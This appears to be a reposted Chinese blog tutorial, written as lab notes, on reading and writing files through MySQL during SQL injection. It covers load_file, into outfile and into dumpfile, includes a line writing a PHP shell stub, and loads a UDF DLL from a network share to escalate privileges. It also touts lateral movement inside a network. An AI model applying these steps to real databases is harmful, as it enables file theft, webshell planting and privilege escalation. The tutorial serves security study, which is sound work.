目錄
- 能讀寫檔案的前提
- Windows下的設定
- Linux下的設定
- 沒有讀寫權限的嘗試
- 有SQL注入點,確認是否有讀寫權限
- read
- load_file()
- load data infile()
- write
- into outfile
- 將某列資料寫出
- 自定義shell寫出
- into dumpfile
- 匯出的行數區別
- outfile
- dumpfile
- 轉義輸出
- outfile
- dumpfile
- 二進制檔案
- 匯出的行數區別
- mysql寫shell并利用成功的前提
- 利用mysql寫shell的好處
- into outfile
- system + [shell command]
- 實驗證明
能讀寫檔案的前提
不同系統、不同的資料庫版本有細微差異,以下實驗在Windows10和Mysql 5.7.26下操作;
1.擁有該File的讀權限 or 該目錄寫的權限
2.當前用戶的secure_file_priv屬性的值不為NULL
Windows下的設定
修改mysql.ini 檔案,在[mysqld] 下添加條目: secure_file_priv =
保存,重啟mysql,
secure_file_priv屬性值的設定:
- secure_file_priv為null 表示不允許匯入匯出 (5.7后為默認值)
- secure_file_priv指定檔案夾時,表示mysql的匯入匯出只能發生在指定的檔案夾
- secure_file_priv沒有設定時,則表示沒有任何限制
[mysqld]
secure_file_priv=
# secure_file_priv= 表示對讀寫沒有限制
# secure_file_priv= 在基線掃描時也是一個漏洞特征
Linux下的設定
在/etc/my.cnf的[mysqld]下面添加
[mysqld]
secure_file_priv=''
# 保存,重啟mysql
pkill mysqld
ps -ef | grep mysqld
# 檢查一下行程是否被干掉了
./mysql_safe &
沒有讀寫權限的嘗試
win:
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;

也不報錯,就是每執行一次就增加一行空值;
linxu:
報錯:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
有SQL注入點,確認是否有讀寫權限
show global variables LIKE "secure_file_priv";

read
能讀檔案意味著系統敏感檔案泄露,代碼被審計;讀遠程檔案;
準備好要讀的檔案

常用讀檔案函式,mysql在不同版本讀取檔案的函式可能會不同:
- load_file()
- load data infile()
- system cat
load_file()
use thirdweek;
create table read2_tb(word text);
insert into read2_tb(word) values (load_file('D:/test.txt'));
select * from read2_tb;
sql> insert into read2_tb(word) values (load_file('D:/test.txt'))
[2019-08-15 10:55:11] 1 row affected in 4 ms

讀入成功,
load_file( )函式支持網路路徑,如果你可以將DLL復制到網路共享中,那么你就可以直接加載并將它寫入磁盤,
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
load data infile()
load data infile 'D:/test.txt' into table read2_tb;

write
寫命令可以將一條select陳述句的結果寫到MySQL行程所有者擁有的完全可寫權限的檔案中,能寫檔案就意味著能寫入shell, OS 區分Win\Linux之間的差別;
into outfile
將某列資料寫出
use thirdweek;
select * from read2_tb where 1=1 into outfile 'D:/test2.txt';
# D:/test2.txt 不能存在,不然報錯
[2019-08-15 11:23:11] [HY000][1086] File 'D:/test.txt' already exists

自定義shell寫出
select "123<?php ?>" into dumpfile '/home/Mysticbinary/test.so';

into dumpfile
Think about it carefully. Both of them are function writers. Are they different?
Reference:https://www.jb51.net/article/139858.htm
The difference beween outfile and dumpfile:
- 匯出的行數不一樣
- 轉義輸出
- 是否允許二進制檔案
匯出的行數區別
outfile
首先通過命令select * from test into outfile '/tmp/test.txt'來使用outfile匯出:

通過查看官方檔案,可以看出使用如下引數可以進行格式調整

- FIELDS ESCAPED BY 可以用來對指定的字符進行轉義
- FIELDS [OPTIONALLY] ENCLOSED BY 用來對欄位值進行包裹
- FIELDS TERMINATED BY 用來對欄位值之間進行分割
Example:select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'
Example out :

dumpfile
在通過命令select * from test into dumpfile '/tmp/test.txt'來使用outfile匯出:
命令執行時,命令提示超過一行

查看檔案內容

通過dumpfile匯出的資料行資料之間并未進行換行且只匯出了部分資料,
轉義輸出
保持原資料格式
outfile
我們使用命令 select 'a\naa\raaaa' into outfile '/tmp/test.txt' 來看一下在常用的寫檔案場景下的結果

outfile對匯出內容中的\n等特殊字符進行了轉義,并且在檔案內容的末尾增加了一個新行
dumpfile
使用命令 select 'a\naa\raaaa' into dumpfile '/tmp/test.txt';

可以看到dumpfile對檔案內容是原稿寫入,未做任何轉移和增加,
基于這個原因,在UDF提權中一般使用dumpfile進行dll檔案 寫入的原因,
二進制檔案
outfile后面不能接0x開頭或者char轉換以后的路徑,只能是單引號路徑,這個問題在php注入中很棘手,因為會自動將單引號轉義成\',請千萬注意,
但dumpfile,后面的路徑可以是單引號、0x、char轉換的字符,但是路徑中的斜杠是/而不是\,
因為dumpfile允許寫二進制檔案,
mysql寫shell并利用成功的前提
1.擁有上面說的3個前提
2.能寫入到可執行目錄里面
3.能連接成功
利用mysql寫shell的好處
-
內網擴散
資料庫一般都在內網之中,與其他內網主機能互通,作為一個跳板機就很理想,不過需要注意OP/DBA這種崗位對這臺SQL主機的持續監控; -
提權
一般進入主機可能是低權限或者匿名用戶,但是通過SQL注入得到的登陸用戶具有一定權限;利用SQL注入也是一種提權方式;
system + [shell command]
在mysql版本為5.x時,除了可以使用以上方式讀寫檔案,還可以使用命令直接讀寫檔案,前提是使用linux.
# read
system cat /test.txt
# writer
system vim /web/site/www/test/a.php
注意:
1.此方法只能在本地讀取,遠程連接mysql時無法使用system
2.無法越權操作
實驗證明
$SQL1 = "select * from test_tb where name='lisi' and sex='0'";
//$SQL2 = "system date;";
$conn = getConnect();
$result = $conn->query($SQL1);
//$result = $conn->query($SQL2);
print_r($result);
在php遠程連接mysql,然后執行了SQL1 和 SQL2, 發現執行的system的SQL陳述句失敗,說明該關鍵字只能在本地的Linux Mysql上使用,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/259661.html
標籤:其他
